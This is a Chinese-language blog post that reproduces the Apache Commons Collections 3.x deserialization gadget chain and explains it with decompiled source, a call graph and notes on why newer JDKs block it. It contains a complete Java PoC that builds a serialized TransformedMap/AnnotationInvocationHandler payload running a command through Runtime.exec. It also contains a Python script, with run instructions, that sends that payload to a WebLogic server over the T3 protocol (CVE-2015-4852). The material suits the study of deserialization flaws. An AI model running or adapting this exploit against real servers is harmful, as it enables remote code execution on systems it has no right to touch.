Featured image of post Apache-CC3.x链分析

Apache-CC3.x链分析

readObject()!

前面我们了解了java的序列化机制,也初步接触了利用链的概念,为了加深对反序列化漏洞的理解,这里来复现一条存在于 apache commons-collections.jar 中的pop链,要知道这个类库使用广泛,所以很多大型的应用也存在着这个漏洞,这里就以 Weblogic CVE-2015-4852 来说说反序列化漏洞的具体利用方法。

漏洞利用成功条件

  1. payload:需要让服务端执行的语句:比如说弹计算器还是执行远程访问等;
  2. 反序列化利用链:服务端中存在的反序列化利用链,会一层层剥开我们的exp,最后执行payload。(在此篇中就是cc利用链)
  3. readObject() 函数的覆写利用点:服务端中存在可以与我们漏洞链相接并且可以从外部访问的 readObject() 函数覆写点;

攻击流程

  1. 客户端构造payload,并进行一层层的封装,完成最后的exp;
  2. exp发送到服务端,进入一个服务端自主覆写(也可能是也有组件覆写)的readObject()函数,它会反序列化恢复我们构造的exp去形成一个恶意类exp_1;
  3. 这个恶意类exp_1在接下来的处理流程,会执行exp_1中的一个方法,在方法中会对exp_1的内容进行函数处理,从而一层层地解析exp_1变成exp_2、exp_3等;
  4. 最后在一个可执行任意命令的函数中执行payload,完成远程代码执行。

环境准备

Note

Java commons-collections是JDK 1.2中的一个主要新增部分。它添加了许多强大的数据结构,可以加速大多数重要Java应用程序的开发。从那时起,它已经成为Java中公认的集合处理标准。

PoC代码

package Step3;

import java.io.File;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.nio.file.Files;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


public class PoC1 {

    public static Object GeneratePayload() throws Exception {
        Transformer transformerChain = getTransformer();
        Map innermap = new HashMap();
        innermap.put("value", "re111");
        Map outmap = TransformedMap.decorate(innermap, null, transformerChain);

        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);  //通过setAccessible(true)的方式关闭安全检查
        return ctor.newInstance(Retention.class, outmap);
    }

    private static Transformer getTransformer() {
        final Transformer[] transforms = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"galculator"}),
                new ConstantTransformer(1)
        };
        return new ChainedTransformer(transforms);
    }

    public static void main(String[] args) throws Exception {
        String fileName = "./payload.bin";
        GeneratePayloadFile(GeneratePayload(), fileName);
        TriggerPayload(fileName);
    }

    public static void GeneratePayloadFile(Object instance, String file) throws Exception {
        File f = new File(file);
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(f.toPath()));
        out.writeObject(instance);
        out.flush();
        out.close();
    }

    public static void TriggerPayload(String file) throws Exception {

        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
        in.readObject();
        in.close();
    }
}

如果出现很多包缺失的报错,则需要导入 commons-collections-3.1.jar

IDEA菜单栏->文件->项目结构->库->添加->按路径添加jar包即可

image_58

Transformer 链构造

Commons Collections实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入。

org.apache.commons.collections.Transformer 这个接口可以满足固定的类型转化需求,我们的漏洞利用就是在于这个点。

我们在使用 Apache Commons Collections 库进行 Gadget 构造时主要利用的就是这个 transformer 接口,它只有一个待实现的方法 transform()

package org.apache.commons.collections;

public interface Transformer {
    Object transform(Object var1);
}

主要用于将一个对象通过 transform 方法转换为另一个对象,在库中众多对象转换的接口中存在一个 Invoker 类型的转换接口 InvokerTransformer,并且同时还实现了 Serializable 接口。

public class InvokerTransformer implements Transformer, Serializable {
    static final long serialVersionUID = -8653385846894047688L;
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }
}

可以看到 InvokerTransformer 类中实现的 transform() 接口使用 Java 反射机制获取反射对象 input 中的参数类型为 iParamTypes 的方法 iMethodName,然后使用对应参数 iArgs 调用获取的方法,并将执行结果返回。由于其实现了 Serializable 接口,因此其中的三个必要参数 iMethodName、iParamTypes 和 iArgs 都是可以通过序列化直接构造的,为命令执行创造了条件,但是只有这里的话显然并不能RCE。

继续看 ChainedTransformer

public class ChainedTransformer implements Transformer, Serializable {
    static final long serialVersionUID = 3514945074733160196L;
    private final Transformer[] iTransformers;

    ...

    public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }
}

这里可以看出来是挨个遍历 transformer,调用ChainedTransformertransform 方法然后返回object,返回的object继续进入循环,成为下一次调用的参数,所以我们可以通过这里来执行命令。

private static Transformer getTransformer() {
    final Transformer[] transforms = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"galculator"}),
            new ConstantTransformer(1)
    };
    return new ChainedTransformer(transforms);
}

这一链条构成了核心 payload 的代码执行链,每一步的具体含义。

步骤 说明
ConstantTransformer(Runtime.class) 初始返回 java.lang.Runtime.class
getMethod("getRuntime", ...) 调用反射获取 Runtime.getRuntime() 方法对象
invoke(null, new Object[0]) 执行 getRuntime() 方法,返回 Runtime.getRuntime() 实例
exec("galculator") 执行命令 galculator(Linux 图形计算器)
ConstantTransformer(1) 后续调用无害的返回值,掩盖攻击目的
Tip

环境中不可能直接存在 Runtime.class,所以我们通过构造来产生。

ConstantTransformer 类初始化传入 this.iConstant 参数直接return,相当于this的作用。

public class ConstantTransformer implements Transformer, Serializable {
 static final long serialVersionUID = 6374440726369055124L;
 public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object) null);
 private final Object iConstant;

 public ConstantTransformer(Object constantToReturn) {
     this.iConstant = constantToReturn;
 }

 public Object transform(Object input) {
     return this.iConstant;
 }
}

ChainedTransformer 传入 transformers

public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}

然后构造的命令参数传入 InvokerTransformer

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

这里都会赋值,然后就会调用到

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var7) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
        }
    }
}

经过反射达成如下效果,这条语句就是我们想要构建的核心 payload

Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")).exec("galculator");
Tip

执行 Class.forName("java.lang.Runtime").getMethod("getRuntime") 这部分语句,

也就是执行Runtime.class.getMethod("getRuntime"),获得Runtime的getRuntime方法定义。

由于上述是静态方法,所以invoke(Class.forName("java.lang.Runtime"))也可以写成invoke(null),执行上述方法得到一个实例,然后用这个实例调用exec(“galculator”)弹出计算器

封装成Map

要想实现RCE还需要一个入口点,使得应用在反序列化的时候能够通过一条调用链来触发 InvokerTransformer 中的 transform() 方法,有两个类中使用了可疑的 transform() 方法: LazyMapTransformedMap

TransformedMap 中一共有三处函数使用了transform方法

image_63

当然,光是使用了transform这个方法还不行,我们还需要确认是使用了ChainedTransformer.transform(),我们看一下 this.valueTransformer 的类型

image_64

可以看到 this.valueTransformer 的类型是Transformer,所以在构造poc的时候只需要将他的值赋为我们精心构造的 ChainedTransformer 就行,这里只要 valueTransformer 可控即可利用上面的调用链

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}

当我们初始化的时候是可以控制的,怎么触发呢

checkSetValue() 方法可以办到这一点,它会将我们传入的value对象使用 transform() 方法进行处理

protected Object checkSetValue(Object value) {
    return this.valueTransformer.transform(value);
}
Caution

错误:当进入 put 方法的时候会触发valueTransformer的构造方法,也可以调用 transform() 方法

protected Object transformValue(Object object) {
 return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}

正确流程:我们构造的 TransformedMapAnnotationInvocationHandler.readObject() 反序列化中对 Map.Entry.setValue() (或者说是内部类 TransformedMap$TransformedEntry 的setValue()方法,这个内部类的具体代码可以到transformedMap 的父类 AbstractInputCheckedMapDecorator 中寻找)进行了调用,这个set方法又调用了 transformedMapcheckSetValue() 方法,这个方法调用了关键的transform方法,然后打通了链子。

根据上面的调用链我们的 value 位置可以设定为任意值,因为反序列化过程中会触发 .setValue(...),而不是读取初始的值。

现在的poc可以用TransformedMap的三个方法 transformKeytransformValuecheckSetValue 触发transform方法,但是这三个方法的访问权限都是protected,也就是不能直接被外部访问。

迂回一下,TransformedMap类中一共有三个方法访问权限是public

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

public Object put(Object key, Object value) {
    key = this.transformKey(key);
    value = this.transformValue(value);
    return this.getMap().put(key, value);
}

public void putAll(Map mapToCopy) {
    mapToCopy = this.transformMap(mapToCopy);
    this.getMap().putAll(mapToCopy);
}

可以看到put方法调用了transformKey以及transformValue,这两个方法又都调用了transform方法,所以我们可以通过调用修饰函数实例化一个TransforomedMap对象,然后调用对象的put方法将我们构造的链子传入,从而执行任意命令。

Map innermap = new HashMap();
innermap.put("value", "re111");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);

这样我们即可进行命令执行。

反序列化操作触发函数

jdk1.7-AnnotationInvocationHandler

但是在现实场景中,并没有人帮我们执行这个函数。所以我们现在要开始寻找,有没有哪个类,在它的 readObject() 逻辑中会触发这个动作(给Map新增元素)。

这个类就是 sun.reflect.annotation.AnnotationInvocationHandler,这是⼀个java的原生类。

这个函数在jdk1.7中,这也是为什么要求jdk1.7环境,高版本jdk不支持的原因在后面解答。

image-20250608135757528

反编译的代码,看起来有点别扭。而且因为我本机是jdk1.8,所以这个类并不是我们真正想要的。

给大家推荐一个好的方式,就是去github上看,openjdk是开源的。github上还有版本管理, 然后再给大家推荐一个网站,github1s,可以在线用vscode

https://github1s.com/openjdk/jdk/blob/jdk8-b40/jdk/src/share/classes/sun/reflect/annotation/AnnotationInvocationHan

image_61

我们先看这个类的构造函数

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
    this.type = type;
    this.memberValues = memberValues;
}

我们看到,它可以接受一个Map来作为参数。

然后我们再看它的 readObject() 做了什么

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();


    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch (IllegalArgumentException e) {
        // Class is no longer an annotation type; all bets are off
        return;
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                    value instanceof ExceptionProxy)) {
                memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                                value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
            }
        }
    }
}

memberValues 转化成一个set,然后再迭代一下就又取出了一个Map叫做 memberValue。 我们只要将这个 memberValue 设置为我们构造的一个 TransformedMap 对象,然后当它在后面执行 memberValue.setValue 时,就会触发我们注册的 Transformer,进而执行我们为其精心设计的任意代码。

内部类的调用

当我们想要直接new一个 sun.reflect.annotation.AnnotationInvocationHandler 对象时,发现了问题,因为这是一个内部类,导致我们无法直接访问,这个时候怎么办,还是用反射。

Map innermap = new HashMap();
innermap.put("value", "re111");  // key是"value",这是注解方法名
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);//通过setAccessible(true)的方式关闭安全检查
return ctor.newInstance(Retention.class, outmap);

innermap.put 固定key值

这里明确需要明确一点

type = Retention.class 
memberValues = transformerdMap

我们的目的是触发对Map的写入操作,所以我们的目标是触发 memberValue.setValue 这条逻辑。所以此时,如果memberValues是一个空的map,那么这个for的遍历就不会执行,所以我们需要预先给Map进行值的插入。

但是要插入什么呢?

String name = memberValue.getKey(); //Map可控,所以key可控
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { //!要求在memberType中也有这个key
 ...
}

所以我们要了解 memberTypes 是怎么来的

AnnotationType annotationType = null;
        try {
annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; all bets are off
        return;
        }

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

查看 AnnotationType.class

public class AnnotationType {
    /*
     ...
     ...
     ...
     */
    public static synchronized AnnotationType getInstance(
            Class<? extends Annotation> annotationClass) {
        AnnotationType result = sun.misc.SharedSecrets.getJavaLangAccess().
                getAnnotationType(annotationClass);
        if (result == null)
            result = new AnnotationType((Class<? extends Annotation>) annotationClass);

        return result;
    }

    private AnnotationType(final Class<? extends Annotation> annotationClass) {
        if (!annotationClass.isAnnotation())
            throw new IllegalArgumentException("Not an annotation type");

        Method[] methods =
                AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
                    public Method[] run() {
                        // Initialize memberTypes and defaultValues
                        return annotationClass.getDeclaredMethods();
                    }
                });


        for (Method method : methods) {
            if (method.getParameterTypes().length != 0)
                throw new IllegalArgumentException(method + " has params");
            String name = method.getName();
            Class<?> type = method.getReturnType();
            memberTypes.put(name, invocationHandlerReturnType(type));
            members.put(name, method);

            Object defaultValue = method.getDefaultValue();
            if (defaultValue != null)
                memberDefaults.put(name, defaultValue);

            members.put(name, method);
        }

        sun.misc.SharedSecrets.getJavaLangAccess().
                setAnnotationType(annotationClass, this);

        // Initialize retention, & inherited fields.  Special treatment
        // of the corresponding annotation types breaks infinite recursion.
        if (annotationClass != Retention.class &&
                annotationClass != Inherited.class) {
            Retention ret = annotationClass.getAnnotation(Retention.class);
            retention = (ret == null ? RetentionPolicy.CLASS : ret.value());
            inherited = annotationClass.isAnnotationPresent(Inherited.class);
        }
    }
    /*
     ...
     ...
     ...
     */
}

注意到这里有一句

if (!annotationClass.isAnnotation())
            throw new IllegalArgumentException("Not an annotation type");

就是检查输入的参数是不是一个注解类,如果不是就会报错。

所以这里要求第一个参数必须是一个注解类。然后

        Method[] methods =
                AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
                    public Method[] run() {
                        // Initialize memberTypes and defaultValues
                        return annotationClass.getDeclaredMethods();
                    }
                });


        for (Method method : methods) {
            if (method.getParameterTypes().length != 0)
                throw new IllegalArgumentException(method + " has params");
            String name = method.getName();
            Class<?> type = method.getReturnType();
            memberTypes.put(name, invocationHandlerReturnType(type));

这里会通过反射的方式,获取该注解类所有的方法,然后再将所有的方法名塞给memberTypes这个Map

而我们这里要获取的就是memberTypes

image-20250608184416729

所以我们的需求就变成了,对于 sun.reflect.annotation.AnnotationInvocationHandler 这个类的构造函数

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
    this.type = type;
    this.memberValues = memberValues;
}

需要找到一个参数type,满足

Tip
  1. 是一个类对象
  2. 该类是一个注解类
  3. 该类至少存在一个方法(记作 methodData)

然后我们控制参数 memberValues,让它满足

存在一个键值对,其 key 等于 methodData

我们找到了 Retention 类,它是一个注解类,有一个方法叫做 value

image_65

符合要求的类还有很多,比如 RepeatableTarget 等等。

t3协议发送payload弹计算器

#!/usr/bin/python3
import socket
import sys
import struct

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server_address = (sys.argv[1], int(sys.argv[2]))
print('connecting to %s port %s' % server_address)
sock.connect(server_address)

# Send headers
headers = 't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
print('sending "%s"' % headers)
sock.sendall(headers.encode())

data = sock.recv(1024)
print('received "%s"' % data.decode(), file=sys.stderr)

payloadObj = open(sys.argv[3], 'rb').read()

payload = b'\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'
payload = payload + payloadObj
payload = payload + b'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'

# adjust header for appropriate message length
payload = struct.pack('!i', len(payload)) + payload[4:]

print('sending payload...')
sock.send(payload)

执行命令

python weblogic-t3-p3.py <ip> <port> <payloadFile>

image-20250607120340037

调试分析验证

AnnotationInvocationHandler 类中 readObject() 方法下断点调试。

调用链

Gadget chain:
    ObjectInputStream.readObject()
      └── AnnotationInvocationHandler.readObject()
            └── AbstractInputCheckedMapDecorator$MapEntry.setValue()
                  └── TransformedMap.checkSetValue()
                        └── ChainedTransformer.transform()
                              ├── ConstantTransformer.transform()
                              ├── InvokerTransformer.transform()
                                    └── Method.invoke() → Class.getMethod()
                              ├── InvokerTransformer.transform()
                                    └── Method.invoke() → Runtime.getRuntime()
                              └── InvokerTransformer.transform()
                                    └── Method.invoke() → Runtime.exec()

Requires:
    commons-collections <= 3.2.1

readObject()走到setValue()

下面是之前谈到的 readObject() 方法反编译的代码,我们用这个再进行一次分析

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();

    while(var4.hasNext()) {
        Map.Entry var5 = (Map.Entry)var4.next();
        String var6 = (String)var5.getKey();
        Class var7 = (Class)var3.get(var6);
        if (var7 != null) {
            Object var8 = var5.getValue();
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
            }
        }
    }
}

核心函数是Map对象var5触发setValue(),为了能走到这个分支需要条件1和2

  1. var7 != null
  2. !var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)

var7需要是个类,并且和var8的类型不相同。 var7通过var3获取到值,具体获取什么的key由 var5(var4) 的Map对象决定的,可以通过类初始化传入(可控)。 var8是通过可控 var5(var4) 的Map对象值决定的,条件2容易过故不展开研究。 现在 var3.get(var6) key我们可控,现在需要Map类型var3,它是由 AnnotationType.getInstance(this.type) 类型传入的也是类初始化传入(可控),AnnotationType 对@Target这个注解的处理,getInstance会获取到@Target的基本信息,找一个有Target注解的类即可,PoC找的就是java.lang.annotation.Retention,到这条件1也达成了。

走到transform()

TransformedMap类继承了 AbstractInputCheckedMapDecorator,存在 setValue() 方法

public Object setValue(Object value) {
    value = this.parent.checkSetValue(value);
    return super.entry.setValue(value);
}

最后通过TransformedMap的checkSetValue()到了我们想要的transform()方法

protected Object checkSetValue(Object value) {
    return this.valueTransformer.transform(value);
}

transform()到RCE

利用链成立,分析正确。

jdk1.8为什么不行

其实上面的poc在Java 7的低版本(只测试了7u80,没有具体版本号)、8u71之前都是可以使用的,在Java 8u71之后代码发生了变动。

那么为什么不行呢,看一下jdk8里面的sun.reflect.annotation.AnnotationInvocationHandler readObject复写点

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        GetField var2 = var1.readFields();
        Class var3 = (Class)var2.get("type", (Object)null);
        Map var4 = (Map)var2.get("memberValues", (Object)null);
        AnnotationType var5 = null;

        try {
            var5 = AnnotationType.getInstance(var3);
        } catch (IllegalArgumentException var13) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var6 = var5.memberTypes();
        LinkedHashMap var7 = new LinkedHashMap();

        String var10;
        Object var11;
        for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
            Entry var9 = (Entry)var8.next();
            var10 = (String)var9.getKey();
            var11 = null;
            Class var12 = (Class)var6.get(var10);
            if (var12 != null) {
                var11 = var9.getValue();
                if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
                    //没有了map赋值语句,伤心
                    var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
                }
            }
        }
        ...
}

因为这个函数出现了变动,不再有针对我们构造的map的赋值语句,所以触发不了漏洞。

而是改成了新建一个LinkedHashMap,把值转到这个LinkedHashMap里。

发表了14篇文章 · 总计2万3千字
本博客已稳定运行
载入旅行者一号离地球距离信息...
|
